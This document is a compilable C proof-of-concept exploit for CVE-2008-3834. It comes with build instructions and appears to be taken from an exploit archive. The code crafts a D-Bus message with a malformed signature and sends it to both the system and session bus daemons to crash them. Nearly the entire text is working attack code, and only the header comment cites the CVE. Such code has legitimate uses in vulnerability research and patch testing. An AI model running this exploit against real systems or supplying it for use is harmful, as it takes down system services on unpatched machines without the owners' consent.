D-Bus Daemon Denial Of Service

                							

                /*
 * cve-2008-3834.c
 *
 * D-Bus Daemon Denial of Service < 1.2.4
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Usage:
 *
 *   $ gcc `pkg-config dbus-1 --cflags` cve-2008-3834.c `pkg-config dbus-1 --libs` -o cve-2008-3834
 *   $ ./cve-2008-3834
 *  
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3834
 *
 *   The dbus_signature_validate function in the D-bus library (libdbus) 
 *   before 1.2.4 allows remote attackers to cause a denial of service 
 *   (application abort) via a message containing a malformed signature,
 *   which triggers a failed assertion error. 
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <dbus/dbus.h>

#define DEST "org.freedesktop.ExampleService"
#define NAME "org.freedesktop.ExampleInterface.ExampleMethod"
#define PATH "/org/freedesktop/sample/object/name"
#define SIGNAL "ExampleMethod"

int
main(int argc, char *argv[])
{
  char sig[8];
  uint32_t val = 0xdeadbeef;
  DBusMessage *message;
  DBusConnection *system, *session;
  DBusMessageIter iter1, iter2, iter3, iter4;

  printf("[+] creating malicious dbus message...\n");

  message = dbus_message_new_signal(PATH, NAME, SIGNAL);
  if (!message) {
    printf("[-] error: could not create dbus message\n");
    return 1;
  }
  if (!dbus_message_set_destination(message, DEST)) {
    printf("[-] error: could not create set dbus destination\n");
    return 1;
  }

  sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR;
  sig[1] = DBUS_STRUCT_BEGIN_CHAR;
  sig[2] = DBUS_TYPE_INT32;
  sig[3] = DBUS_TYPE_INT32;
  sig[4] = DBUS_STRUCT_END_CHAR;
  sig[5] = DBUS_TYPE_INT32;
  sig[6] = DBUS_DICT_ENTRY_END_CHAR;
  sig[7] = '\0';

  dbus_message_iter_init_append(message, &iter1);
  dbus_message_iter_open_container(&iter1, DBUS_TYPE_ARRAY, sig, &iter2);
  dbus_message_iter_open_container(&iter2, DBUS_TYPE_DICT_ENTRY, NULL, &iter3);
  dbus_message_iter_open_container(&iter3, DBUS_TYPE_STRUCT, NULL, &iter4);
  dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
  dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
  dbus_message_iter_close_container(&iter3, &iter4);
  dbus_message_iter_append_basic(&iter3, DBUS_TYPE_INT32, &val);
  dbus_message_iter_close_container(&iter2, &iter3);
  dbus_message_iter_close_container(&iter1, &iter2);

  printf("[+] connecting to dbus system daemon...\n");

  system = dbus_bus_get(DBUS_BUS_SYSTEM, NULL);

  if (system) {
    printf("[+] killing dbus system daemon...\n");

    dbus_connection_send(system, message, NULL);
    dbus_connection_flush(system);
    dbus_connection_unref(system);
  } else {
    printf("[-] error: could not connect to dbus system daemon\n");
  }

  printf("[+] connecting to dbus session daemon...\n");

  session = dbus_bus_get(DBUS_BUS_SESSION, NULL);

  if (session) {
    printf("[+] killing dbus session daemon...\n");

    dbus_connection_send(session, message, NULL);
    dbus_connection_flush(session);
    dbus_connection_unref(session);
  } else {
    printf("[-] error: could not connect to dbus session daemon\n");
  }

  dbus_message_unref(message);

  return 0;
}

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